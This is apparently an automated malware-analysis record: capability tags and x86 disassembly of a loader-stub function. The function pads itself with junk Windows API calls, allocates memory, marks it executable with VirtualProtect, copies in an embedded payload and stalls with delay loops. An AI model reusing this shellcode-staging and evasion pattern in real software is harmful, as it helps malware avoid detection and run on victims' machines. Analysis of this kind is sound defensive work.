Function at 0x401310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0xc26060]
sub esp, 0x93c
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4013c2
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
lea eax, [esp + 0x14c]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push str.herehotawak
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401b04
push 0
push 0
call fcn.004019a4
add esp, 0xc
push 0
call fcn.00401dba
add eax, 0x1134b
push eax
push 0
mov dword [0xc26060], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0xc26060]
lea edx, [esp + 0x2c]
push edx
push 0x40
push ecx
push eax
mov dword [0xc24fb4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_SetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x40140b
lea edx, [esp + 0x148]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4013f7
xor esi, esi
cmp dword [0xc26060], esi
jbe 0x40145f
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [0xc26064]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0xc24fb4]
mov byte [edx + esi], cl
cmp dword [0xc26060], 0xa8
jne 0x401456
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x30]
push eax
call edi
inc esi
cmp esi, dword [0xc26060]
jb 0x401424
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [esp + 0xc], eax
mov ecx, dword [0xc26060]
add ecx, eax
cmp ecx, 0xe
jne 0x4014f1
push 0
push 0
push str.jatefunivapabopecuhisizuvis
call esi
push str.nozico_sef_tuxilogotujiz
call edi
push 0
call ebx
xor eax, eax
push eax
xor edx, edx
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
lea eax, [esp + 0x14c]
push eax
push edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
mov word [esp + 0x30], dx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push str.apevo_jaxededunuyasiz
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x401477
call fcn.004011f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
call edi
cmp esi, 0x26
jne 0x40151c
call fcn.004012f0
inc esi
cmp esi, 0x6753f
jl 0x401510
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov edi, 0x7b
cmp dword [0xc26060], 0x86
jne 0x401546
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0xc26060], 0xf
jne 0x40155a
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
sub edi, 1
jne 0x401530
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret